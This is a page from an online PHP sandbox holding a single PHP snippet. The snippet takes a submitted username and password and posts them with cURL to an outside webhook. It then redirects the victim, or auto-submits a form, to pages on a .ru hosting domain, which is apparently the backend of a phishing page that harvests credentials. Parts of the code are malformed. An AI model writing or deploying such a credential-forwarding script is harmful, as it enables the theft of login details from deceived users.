PHPize Online / SQLize Online  /  SQLtest Online

A A A
Share      Blog   Popular
Copy Format Clear
Copy Clear
Copy Format Clear
<?php $uname = $_POST['uname']; $psw = $_POST['psw']; $myCurl = curl_init(); curl_setopt_array($myCurl, array( CURLOPT_URL => 'https://qnext.app/bin/webhooks/10928/414/iDntafFDPtsvm6Bl', CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query(array( 'uname' => $uname, 'psw' => $psw)) )); $response = curl_exec($myCurl); curl_close($myCurl); $test = $response; if ($test == success) { header('Refresh: 0; URL=http://idlewar.hostingem.ru/success.php'); exit; } elseif ($test == errmoney) { echo '<form action="http://idlewar.hostingem.ru/error.php" method="POST" <input name="message" value="<?php echo "$message" ?>" type="text" <input type="submit"> </form> var form = document.forms[0]; // находим первую форму на странице form.submit(); // вызываем её метод сабмит </script>'; } ?>
Show:  
Copy Clear